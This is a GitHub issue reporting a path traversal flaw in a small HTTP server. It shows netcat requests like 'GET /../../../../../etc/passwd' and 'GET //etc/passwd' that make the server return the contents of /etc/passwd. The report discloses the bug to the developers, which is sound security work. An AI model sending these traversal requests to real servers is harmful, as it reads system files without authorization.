Skip to content

security issue with requests outside of www root #2

Description

@Cotix

It is possible to request parent directories.

cotix@lithium:~$ nc localhost 9999
GET /../../../../../etc/passwd HTTP/1.0

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain

root:x:0:0:root:/root:/bin/bash
... my whole /etc/passwd

It is also possible to query absolute paths:

cotix@lithium:~$ nc localhost 9999
GET //etc/passwd HTTP/1.0

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain

root:x:0:0:root:/root:/bin/bash

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions